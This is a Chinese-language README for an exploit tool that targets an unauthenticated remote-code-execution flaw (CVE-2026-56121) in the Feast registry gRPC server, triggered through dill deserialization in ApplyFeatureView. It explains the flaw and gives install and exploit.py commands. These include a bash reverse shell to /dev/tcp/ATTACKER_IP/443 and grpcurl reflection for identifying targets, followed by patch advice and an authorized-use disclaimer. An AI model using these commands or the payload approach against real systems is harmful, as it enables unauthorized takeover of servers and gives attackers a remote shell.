
针对 Feast registry gRPC 服务器的未授权 RCE 漏洞利用(CVE-2026-56121),利用 dill 反序列化。包括有效载荷生成、反向 Shell 支持以及通过 gRPC 反射进行目标识别。
在 Feast 特征存储的 注册中心 gRPC 服务器 中存在未授权远程代码执行漏洞。
ApplyFeatureView RPC 会从请求的 proto 中重建一个 OnDemandFeatureView。在此过程中,它会对 spec.user_defined_function.body 进行 base64 解码,并将其传递给 dill.loads() — 且发生在任何授权检查之前。dill 是 pickle 的超集,因此如果一个对象的 __reduce__ 返回 (os.system, (cmd,)),那么服务器反序列化该对象时就会执行任意命令。默认部署使用 auth: no_auth,因此只需向注册中心端口发送单个未授权的 gRPC 请求即可利用。
< 0.63.00.63.06570(注册中心 gRPC)该利用程序复用了 Feast 自身生成的 gRPC protobuf,因此需要在攻击者端安装一个存在漏洞的 Feast:
python3 -m venv venv && . venv/bin/activate
pip install "feast==0.62.0" grpcio
# 快速检查(输出出现在服务器端,而非本地)
python3 exploit.py 10.10.10.10:6570 -c "id"
# 反弹 shell(bash -c 封装:os.system 使用 /bin/sh,缺乏 /dev/tcp)
python3 exploit.py 10.10.10.10:6570 -c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"'
-p/--project 设置项目名称(默认为 feature_repo)。命令输出会打印在注册中心主机的 stdout/日志中,因此可以使用反弹 shell 或将结果写入可读路径以观察效果。
注册中心启用了 gRPC 反射:
grpcurl -plaintext 10.10.10.10:6570 list
# feast.registry.RegistryServer
# grpc.health.v1.Health
# grpc.reflection.v1alpha.ServerReflection
升级到 Feast 0.63.0 及以上版本,启用身份认证后端,并且永远不要将注册中心 gRPC 端口暴露给不受信任的网络。
仅用于授权的安全测试和教育目的。仅在你拥有或明确获得测试许可的系统上使用。